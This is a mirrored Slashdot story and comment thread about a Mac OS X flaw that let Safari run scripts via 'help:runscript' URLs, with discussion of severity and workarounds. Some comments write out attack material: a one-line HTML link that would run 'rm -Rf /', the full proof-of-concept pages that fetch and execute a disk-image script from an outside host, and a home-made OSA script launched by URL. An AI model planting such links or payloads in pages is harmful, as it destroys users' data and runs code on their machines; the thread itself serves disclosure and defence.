Slashdot Mirror


Safari Falls Victim to Remote Code Exploit

A user writes, "A new vulnerability has been found in Mac OS X's Safari, which will launch Help.app and run an arbitrary script with a URL like 'help:runscript=...', assuming a known path (which is possible when Safari is set to automount disk images (which is the default)). A nice working demonstration is available on insecure.ws while the incident has been reported on Full-Disclosure."

28 of 197 comments (clear)

  1. Wow by mcgroarty · · Score: 5, Funny
    I've got to hand it to Apple...

    "help:runscript=..."

    No double-decode, unicode obfuscation, or CMD.EXE parms. Even the exploits are user-friendly!

  2. That's it.. by Carlos+Silva · · Score: 5, Funny

    I'm switching to Windows!

  3. Good days ahead by vijaya_chandra · · Score: 5, Funny

    First signs that apple's really in competition with Microsoft

  4. Um, what privilidges does it run at? by Llywelyn · · Score: 5, Insightful


    From the bulletin:
    ---------------
    This can potentially wipe the entire hard-disk (or large parts of it),
    if a hacker runs a script with "rm -rf /" included.
    ---------------

    Unless this has a built-in privilege escalation, I don't see how this is true. If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

    --
    Integrate Keynote and LaTeX
    1. Re:Um, what privilidges does it run at? by Per+Wigren · · Score: 4, Insightful

      If it just runs as the user (which it appears to) then you could erase the users information that way, but not the disk.

      Oh, so it will just erase all of my 100s of hours of work but not the reinstallable OS? What a relief!

      --
      My other account has a 3-digit UID.
    2. Re:Um, what privilidges does it run at? by Devil's+Avocado · · Score: 4, Informative

      """
      An admin user has privileges to delete files other than those merely in his HOME. And some stupid users (including one of my friends :-) have changed perms to give themselves ownership of every file, in which case this would wipe every file. So the statement is accurate.
      """

      That's a bit like arguing "turning a computer on can cause it to explode" is an accurate statement because the user may have put plastic explosives in the case and wired them to the power switch.

      On any reasonably well maintained OS X system executing "rm -rf /" as a normal (or even Admin) user cannot cause the entire hard drive to be deleted. This does not detract (much) from the seriousness of this exploit, but let's not get carried away with the alarmism.

      Also, if your friend's system is still running I doubt he has changed the permissions of *every* file unless he's a very talented programmer. OS X won't load kernel extensions unless they're owned by root:wheel, and other bits of system software have similar permissions restrictions. If he's logging in as root, well, that's another issue entirely...

  5. Re:Is this worth a story? by mcgroarty · · Score: 5, Insightful
    "It just isn't a big deal"

    One concealed tinyurl link on Slash or an Apple forum, or a tiny frame with a redirect to:

    <a href=help:runscript=/bin/rm%20-Rf%20%2f>
    is enough to run "rm -Rf /". Wiping out all user data with half a line of html isn't a big deal?

    All companies have their own share of browser bugs, but this one's a doozy, so don't play it down. Prudence says you should exercise the utmost caution or use Mozilla until there's a fix.

  6. Been known since February by p0ppe · · Score: 5, Informative

    According to a forum post on MacNN, this has been known since February...

    --


    "Democracy is three wolves and a sheep voting on what to have for dinner."
  7. Yes, it probably is by Tor · · Score: 4, Insightful

    I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

    Most "vulnerabilites" previously reported for Mac OS X have been largely theoretical, obscure, and hardly any real threat (at least, when compared to the pretty high threshold of threat before anyting is considered a "flaw" in the Windows world).

    Don't misunderstand, more serious stuff than this is pretty much standard fare for Windows (and sometimes on UNIX/Linux to, cf. "wu-ftpd", "bind", and "sendmail") - but for the Mac OS X platform, a flaw as "exploitable" as this is pretty unique.

    'Course, if will probably be taken care of within a few days via "software update", if not already.

    -tor

    1. Re:Yes, it probably is by danamania · · Score: 4, Informative

      I get the impression (only from the /. blurb so far) that this hole is, by orders of magnitude, more serious than anything reported for Mac OS X previously.

      There was one equally as bad, almost 18 months ago. I think it was August 2002.

      a telnet:// URL could be used to do the same thing - with a pipe in the url, telnet could be run and piped out to another command that did anything an attacker wanted.

      The good news that time was that a security update was released 9 hours after the discoverer (in japan) reported it to Apple.

      Bad bug, quick fix. I hope the same applies in this case.

  8. Re:Is this worth a story? by mcgroarty · · Score: 5, Informative
    "I don't know about you, but I don't always take a look at my status bar before I click on a link."

    That's not really enough. A page can have a redirect to another page, or even have a tiny subframe that loads that "url" to execute a command to wipe out data.

  9. Workaround by fsck! · · Score: 4, Insightful
    rm -rf /Applications/Help.app
    This awful help tool is as bad as they come. It's clumsy, slow, and most of the help appears to be online anyway. Apple should just make Safari the help browser to begin with. I haven't examined this much, but it looks like thelp documentation is XML or HTML anyway.
  10. Simple Temporary Workaround by TomSawyer · · Score: 4, Informative

    I downloaded MisFox 1.2.1 and changed the Help Protocol Helper to Chess. For good measure I unchecked "Open 'safe' files after downloading" in the general preferences of Safari.

    --
    If you disagree then it must be overrated, redundant or trolling.
  11. HA HA HA by zulux · · Score: 4, Funny

    I SO GLAD MY TRS-80 COCO ISENT
    VULNERABLE TO THIS. ALL YOU PE
    OPLE WITH FANCY GUI COMPUTERS
    WILL REGRET IT SOME DAY.

    OK
    ?
    OK
    ?

    (Lameness filter encountered. Post aborted!
    Reason: Don't use so many caps. It's like YELLING.)

    --

    Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

  12. Re:Is this worth a story? by pudge · · Score: 4, Informative

    We don't allow help: URLs in Slash. :p

  13. All OS X browsers affected? by tetsuotheironman · · Score: 5, Interesting

    this exploit also works in Camino as far as I can tell (although I didn't have it set to automount images) using recenet nightly build. I also tried it in IE and it was able to open Help.app without problems..

  14. possible scenario by Anonymous Coward · · Score: 4, Insightful

    Help-team: let's base our help app on html, which is the de-facto standard markup language now. Oh, and let's give it the ability to launch scripts, so we can give live demo's in the help files.

    Browser-team: of course we're not going to let scripts with full user-privileges run from within the browser by default, that's idiotic. Who do you think we are, Microsoft? Hey, the help app is based on html right? Let's stick a help: protocol in the URL handler, that would be convenient.

  15. Re:Is this worth a story? by SandSpider · · Score: 4, Insightful

    Ah, but do you allow tinyURLs? 'Cause that's what the grandparent post is suggesting. However, that particular exploit won't work, because it's neither formed properly, nor is it calling a script. However, there are other ways of running the exploit, and even linking it on slashdot, whether in a comment or otherwise.

    =Brian

    --
    There is nothing so good that someone, somewhere, will not hate it.
  16. Re:Try Camino by geoffspear · · Score: 4, Insightful
    From the Full Disclosure article, it does not appear that switching to another browser will help a bit. This is NOT a flaw in Safari, but a flaw in the way the OS handles help: URLs. Any browser that uses the system's settings to decide what helper application to use for a given URL is vulnerable, and any browser that doesn't obey those settings is a badly behaved app.

    Fortunately, changing the app that handles help: URLs fixes the problem; unfortunately, OS X by default doesn't include a utility to change those settings. (Actually, IIRC Internet Explorer can do it, creating the irony that you need to use IE to fix a vulnerability in an y other browser. Or get a third-party utility).

    --
    Don't blame me; I'm never given mod points.
  17. Re:Is this worth a story? by edalytical · · Score: 5, Informative

    Oh, come on man. This is a big deal, and the user doesn't have to do anything special -- just visit a web page -- after that it is all automatic.

    The prof of concept link in the article was very simple:

    The linked file 0x04_test.html:
    <html>
    <head><title>Safari runscript remote execution: Proof of concept</title></head>
    <frameset cols="1%, 99%">
    <frame src="0x04_get.html">
    <frame src="0x04_exec.html">
    </frameset>
    </html>

    0x04_get.html:
    <html>
    <head>
    <meta HTTP-EQUIV="refresh" content="0; URL=http://membres.lycos.fr/manzflash/0x04_script. dmg">
    </head>
    </html>

    0x04_exec.html:
    <html>
    <head>
    <meta HTTP-EQUIV="refresh" content="10; URL=help:runscript=MacHelp.help/Contents/Resources /English.lproj/shrd/OpnApp.scpt string='Volumes:0x04_script:0x04_script.term'">
    </head>
    <body>Please wait for the disk image to be downloaded and mounted, it will take a few seconds.
    <br>The script will execute automatically afterwards.
    <br><br><pre>If your line is too slow and the dmg take too much time to download, reload the page when it is done, as this cannot be checked.
    </pre></body>
    </html>

    Basically the 0x04_test.html file retrieves two pages, the first 0x04_get.html automatically downloads and mounts a disk image containing one file which contains the payload. The other file 0x04_exec.html uses your browser and the help system to automatically execute the script in the disk image.

    Of course the payload in the proof of concept is harmless although I only glanced at it and had not had time to study it. It appears to place a text file in your home directory and echo the text:

    "You have been compromised. No harm have been done. Contents of this script can be found in 0x04_script.term on your desktop. You can delete the file owned.txt in your home directory. It was a remote code execution example by http://insecure.ws" &gt; owned.txt ; open owned.txt

    Now exactly how this is not a big deal only you sir can know. But I for one am not taking this lightly as no one should -- especially Apple.

    All html source courtesy of curl.

    --
    Win a signed Stephen Carpenter ESP Guitar from the Deftones: http://def-tag.com/?r=0008781
  18. Doesn't Work in 10.2.x by greenhide · · Score: 4, Interesting

    I have not been able to recreate this exploit in OS X 10.2.8.

    Apparently, only versions 10.3.x are affected.

    --
    Karma: Chevy Kavalierma.
  19. Changing the settings by marklark · · Score: 5, Informative

    Here's where you can get a utility that allows you to change these settings: More Internet - http://www.monkeyfood.com/software/moreInternet/

  20. Other browsers also affected by swotl · · Score: 5, Informative

    The vulnerability was first discovered in Opera, and was later found to also exist in Konqueror of KDE fame. Since Safari is based on the Konqueror code, that's probably where it came from.

    --
    -
    sig sig sputnik
  21. Re:Is this worth a story? by mst76 · · Score: 4, Informative

    It's not that simple. From what I understand, you can only launch AppleScripts with a help:runscript URL. But how do you get your script on the user's system in a known location? AppleScripts don't expand the user home directory from ~ or $HOME. The trick is put the script and your other malicious executables on a disk image and to automount that first, since they are mounted in a known location. Contrary to the article summary, Safari does not need to be set to automount: Safari will automount whatever follows a link of the form disk:// regardless of user settings. So to run this effectively you need to set up a webpage the disk image and refresh tags and some javascript and/or frames to obfuscate the URLs.

  22. Re:Is this worth a story? by pudge · · Score: 4, Informative
    Not that this makes it significantly worse, but it is not just AppleScripts. Any OSA script will do, assuming the user has the OSA language installed. Since currently only AppleScript is installed by default ...

    But just to prove the point, I did this, using the OSAShell language (which allows writing OSA scripts using a basic shell syntax):
    $ cd Desktop/
    $ cat > foo.txt
    osascript -e 'tell app "Finder" to activate'
    ^C
    $ osacompile -l OSAShell -o foo.shell foo.txt
    $ osascript foo.shell # test script
    And now that I know it works, I go to my current browser, Camino, and try:
    help:runscript=../../../Users/pudge/Desktop/foo.sh ell
    Of course, it's a silly example, but I just wanted to make sure it wasn't only AppleScript, because that'd be just weird!
  23. Re:Pudge, you got it WRONG! More serious than this by jdb8167 · · Score: 4, Informative

    You can find an application to fix the remote exploit here:

    MisFox

    Tab to the Protocol Helpers, find help:, choose a different application. I used TextEdit.

    You can verify that the exploit is disabled by cutting and pasting the following to your Safari Address Bar:

    help:runscript=../../Scripts/Info Scripts/Current Date & Time.scpt

    TextEdit runs, but the (harmless) script doesn't.

  24. OS X Mail also by stang7423 · · Score: 5, Interesting

    I wonder if this is possible from OS X mail also. Mail uses webcore to render html and probably shares some settings. The downloading of the dmg is provoked by a meta tag, so unless mail strips meta info from e-mail then this could affect mail as well. That eventuality could potentially be a much larger issue than the current method of execution. Especially since mail will render html and images unless the mail is marked junk.

  25. Re:didn't work by Anonymous Coward · · Score: 4, Informative

    > You have get the user to download the code by themselves before you may execute it.

    You probably only need to direct them to your website, the rest can be done automatically with javascript and refresh.

    > but I set my DMGs to not automount a LONG TIME AGO.

    That won't help as images following disk:// will still automount. The workaround is to redirect the help: protocol to a different app.